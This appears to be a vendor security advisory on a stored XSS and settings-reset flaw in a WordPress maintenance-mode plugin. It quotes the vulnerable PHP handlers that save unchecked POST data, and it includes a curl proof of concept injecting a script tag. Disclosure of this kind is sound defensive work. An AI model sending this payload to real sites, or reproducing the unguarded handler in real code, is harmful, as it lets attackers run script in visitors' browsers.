Unauthenticated Stored XSS in WordPress Coming Soon Page and Maintenance Mode plugin.

[+] Last revision: July 24, 2019

The WordPress Coming Soon Page & Maintenance Mode plugin, which has 7,000+ active installations, was prone to stored XSS and settings reset vulnerabilities that allowed an unauthenticated attacker to inject JavaScript or HTML code into the blog front-end.

Unauthenticated stored XSS

In the main script, ‘responsive-coming-soon.php’ line 51, the plugin loads the ‘data-save-post.php’ script whenever the blog is accessed (front-end or back-end):

require_once('functions/data-save-post.php');

The script is used to save the plugin settings:

<?php 
if(isset($_POST['action_rcs']) == "action_rcs_page_setting_save_post")
{

   $hook = $_POST['hook'];
   $hook = 'wpsm_rcs_plugin_options_'.$hook;
   print_r($_POST);
   update_option($hook, serialize($_POST));
}
?>

There are no capability check to make sure only the administrator is accessing the page, no security nonce to protect against CSRF and the POST payload is not checked either. User input will be echoed into the ‘templates/template1/index.php’ without being sanitized, for instance:

<p><?php echo $wpsm_rcs_plugin_options_general['rcsp_description']; ?></p>

Affected variables are logo_width, logo_height, rcsp_logo_url, home_sec_link_txt, rcsp_headline and rcsp_description and they can all be used to inject HTML and JavaScript code into the front-end of the blog:

Settings reset

This is a much less serious issue because it allows an unauthenticated user to reset the plugin settings only, but it is very similar to the previous one. The plugin loads another external script, ‘data-reset-post.php’, each time the blog is accessed:

require_once('functions/data-reset-post.php');

There’s no capability check and no nonce either, thus any of the 13 options can be individually reset by an unauthenticated user, e.g. dashboard, templates etc:

<?php 
if(isset($_POST['action_rcs_reset']) == "action_rcs_page_setting_reset_post")
{

   $hook = $_POST['hook'];
   $default_url =  WPSM_RCS_PLUGIN_URL.'img/bg.jpg'; 
   $default_url2 =  WPSM_RCS_PLUGIN_URL.'img/wp.png'; 
	
   /******************* DASHBOARD *************************************
   ********************************************************************/	
	
   if($hook=="dashboard"){
      $wpsm_rcs_plugin_options_dashboard = array( 'wpsm_csp_status' => "0" );
      update_option("wpsm_rcs_plugin_options_dashboard", serialize($wpsm_rcs_plugin_options_dashboard));
   }

   /******************* TEMPLATES *************************************
   ********************************************************************/	
	
   if($hook=="templates"){
      $wpsm_rcs_plugin_options_templates = array( 'templates' => "1" );
      update_option("wpsm_rcs_plugin_options_templates", serialize($wpsm_rcs_plugin_options_templates));
   }
   ...
   ...

Proof of Concept

$ curl 'http://example.org/?page=wpsm_responsive_coming_soon' --data 'action_rcs=action_rcs_page_setting_save_postl&hook=general&rcsp_headline=<script>alert("Stored XSS")</script>&logo_enable=off&rcsp_description=FOO&home_sec_link_txt=FOO'

Timeline

The vulnerability was discovered and reported to the wordpress.org team on July 5, 2019.

Recommendations

Update as soon as possible if you have version 1.7.8 or below installed.
If you are using our web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), you are protected.

Stay informed about the latest vulnerabilities in WordPress plugins and themes: @nintechnet